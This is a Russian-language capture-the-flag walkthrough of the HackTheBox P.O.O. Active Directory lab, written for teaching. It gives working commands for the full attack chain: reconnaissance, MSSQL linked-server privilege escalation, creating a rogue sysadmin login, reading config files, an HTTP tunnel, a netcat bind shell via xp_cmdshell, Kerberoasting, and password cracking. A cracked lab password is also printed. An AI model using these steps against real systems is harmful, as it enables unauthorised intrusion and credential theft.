В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.
Как сказано в описании, P.O.O. предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 5 флагов.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Intro
Данный endgame состоит из двух машин, и содержит 5 флагов.
Так же дается описание и адрес доступного хоста.
Начнем!
Recon flag
Данная машина имеет IP адрес 10.13.38.11, который я добавляю в /etc/hosts.
10.13.38.11 poo.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A poo.htb -p80,1433
Таким образом, мы имеем службы IIS и MSSQL. При этом мы узнаем реальное DNS имя домена и компьютера. На веб сервере нас встречает домашняя страница IIS.
Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Таким образом мы имеем HTTP аутентификацию для директории /admin, а также доступный файл хранилища службы рабочего стола .DS_Store. .DS_Store — это файлы, в которых хранятся пользовательские настройки для папки, такие как список файлов, расположение значков, выбранное фоновое изображение. Такой файл может попадать в директорию веб-сервера у веб разработчиков. Таким образом, мы получить информацию о содержимом каталог. Для этого можно использовать DS_Store crawler.
python3 dsstore_crawler.py -i http://poo.htb/
Мы получаем содержимое каталога. Самое интересное здесь — это каталог /dev, из которого мы в двух ветках можем посмотреть исходники и файлы db. Но мы можем первые 6 символов имени файлов и директорий, если сервис уязвим к IIS ShortName. Проверить наличие данной уязвимости можно с помощью IIS shortname Scanner.
И на ходим один текстовый файл, который начинается с «poo_co». Не зная что делать дальше, я просто выбрал из словаря директорий все слова, начинающиеся на «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
И переберем с помощью wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
И находим подходящее слово! Смотрим данный файл, сохраняем учетные данные (судя по параметру DBNAME, они от MSSQL).
Сдаем флаг, и мы продвигаемся на 20%.
Huh flag
Подключаемся к MSSQL, я использую DBeaver.
Ничего интересного в данной базе не находим, давайте создадим Редактор SQL и проверим, какие есть пользователи.
SELECT name FROM master..syslogins;
У нас два пользователя. Давайте проверим свои привилегии.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Таким образом, привилегий никаких нет. Давайте посмотрим связанные серверы, про данную методику я подробно писал здесь.
SELECT * FROM master..sysservers;
Так мы находим еще один SQL Server. Давайте проверим выполнение команд на этом сервере с помощью openquery().
SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
И мы даже можем выстраивать дерево запросов.
SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
Дело в том, что когда мы выполняем запрос на связанный сервер, то запрос выполняется в контексте другого пользователя! Давайте посмотрим, в контексте какого пользователя мы работаем на связанном сервере.
SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
А теперь посмотрим в каком контексте выполняются запрос со связанного сервера на наш!
SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
Таким образом, это контекст DBO, который должен обладать всеми привилегиями. Давайте проверим привилегии в случае запроса со связанного сервера.
SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Как можно заметить, у нас есть все привилегии! Давайте так создадим своего админа. Но через openquery не пускают, давайте сделаем это через EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
И теперь подключаемся с учетными данными нового пользователя, наблюдаем новую базу данных flag.
Сдаем этот флаг и идем далее.
BackTrack flag
Получим шелл с помощью MSSQL, я использую mssqlclient из пакета impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
Нам нужно раздобыть пароли, и первое, что мы уже встречали, — это сайт. Таким образом нам нужен конфиг веб сервера (бросить удобный шелл не получается, видимо работает firewall).
Но доступ запрещен. Хотя мы можем прочитать файл из MSSQL, нужно лишь знать какие языки программирования настроены. И в директории MSSQL узнаем, что есть Python.
Тогда прочитать файл web.config нет никаких проблем.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
С найденными учетными данными зайдем на /admin и забираем флаг.
Foothold flag
На самом деле от использования файервола есть некоторые неудобства, но просматривая настройки сети, замечаем, что также используется прокол IPv6!
Добавим данный адрес в /etc/hosts.
dead:babe::1001 poo6.htb
Давайте снова просканируем хост, но уже по протоколу IPv6.
И по IPv6 доступна служба WinRM. Подключимся с найденными учетными данными.
На рабочем столе есть флаг, сдаем его.
P00ned flag
Проведя разведку на хосте с помощью winpeas ничего особенного не находим. Тогда было принято решение снова искать учетные данные (на эту тему я тоже писал статью). Но получить все SPN из системы через WinRM у меня не вышло.
setspn.exe -T intranet.poo -Q */*
Давайте выполним команду через MSSQL.
Указанным способом мы получаем SPN пользователей p00_hr и p00_adm, а это означает, что они уязвим к такой атаке, как Kerberoasting. Если вкратце, то мы можем получить хеши их паролей.
Для начала нужно получить стабильный шелл от имени пользователя MSSQL. Но так как нас ограничивают в доступе, то мы имеем связь с хостом только через 80 и 1433 порт. Но есть возможность туннелирования трафика через 80 порт! Для этого воспользуемся следующим приложением. Загрузим файл tunnel.aspx в домашнюю директорию веб сервера — C:\inetpub\wwwroot\.
Но при попытке обратиться к нему получаем ошибку 404. Это означает, что файлы *.aspx не выполняются. Чтобы файлы с данным расширениям стали выполняться, установим ASP.NET 4.5 следующим образом.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
И теперь при обращении к tunnel.aspx получаем ответ, что все готово к работе.
Давайте запустим клиентскую часть приложения, которая будет заниматься ретранслированием трафика. Мы будем перенаправлять весь трафик с 5432 порта на сервер.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
И используем proxychains, чтобы слать трафик любого приложения через наш прокси. Добавим данный прокси в файл конфигурации /etc/proxychains.conf.
Теперь загрузим на сервер программу netcat, с помощью которой сделаем стабильный bind шелл, и скрипт Invoke-Kerberoast, c помощью которого выполним атаку Kerberoasting.
Теперь через MSSQL запускаем листенер.
xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
И подключаемся через наш прокси.
proxychains rlwrap nc poo.htb 4321
И давайте получим хеши.
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Далее нужно перебрать эти хеши. Так как в rockyou словаре данных паролей не было, то я использовал ВСЕ словари passwords, предоставленные в Seclists. Для перебора используем hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
И находим оба пароля, первый в словаре dutch_passwordlist.txt, а второй в Keyboard-Combinations.txt.
И так у нас есть три пользователя, идем на контроллер домена. Сначала узнаем его адрес.
Отлично, мы узнали IP адрес контроллера домена. Давайте узнаем всех пользователей домена, а также кто из них является администратором. Для загрузим скрипт для получения информации PowerView.ps1. Потом подключимся с помощью evil-winrm, указав в параметре -s директорию со скриптом. А потом просто загрузим скрипт PowerView.
Теперь нам доступны все его функции. Пользователь p00_adm похож на привилегированного, поэтому будем работать в его контексте. Создадим объект PSCredential для этого пользователя.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Теперь все команды Powershell, где мы укажем Creds, будут выполнены от имени p00_adm. Давайте выведем список пользователей и атрибут AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
И так, наш пользователь реально является привилегированным. Давайте глянем, в каких группах он состоит.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Окончательно утверждаемся, что пользователь является администратором домена. Это дает ему право удаленного входа на контроллер домена. Давайте попробуем войти через WinRM, используя наш туннель. Меня смутили ошибки, выдаваемые reGeorg’ом при использовании evil-winrm.
Тогда воспользуемся другим, более легким, скриптом для подключения к WinRM. Откроем и поменяем параметры для подключения.
Пробуем подключиться, и мы в системе.
Но флага нет. Тогда посмотри пользователе и проверим рабочие столы.
У mr3ks находим флаг и лаборатория пройдена на 100%.
Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
QtRoS
Отличнейший материал, очень интересно почитать. Один вопрос — как и в какой срок решается такая таска? Вот прямо как в статье, легко и по наитию? Или заставляет посидеть несколько часов над каждым флагом? Или как-то помогет опыт решения предыдущих, частично похожих задачек?
RalfHacker Автор
Я считаю, что самое важное — это практический опыт(хотя бы в примере, когда не вышло подключиться с evil-winrm, но вышло с другим скриптом, или aspx в IIS,… и mssql — да все на опыте). Вся лаба решалась 2 дня с перерывами.
Кстати снова возникла мысль из всех словарей сделать один)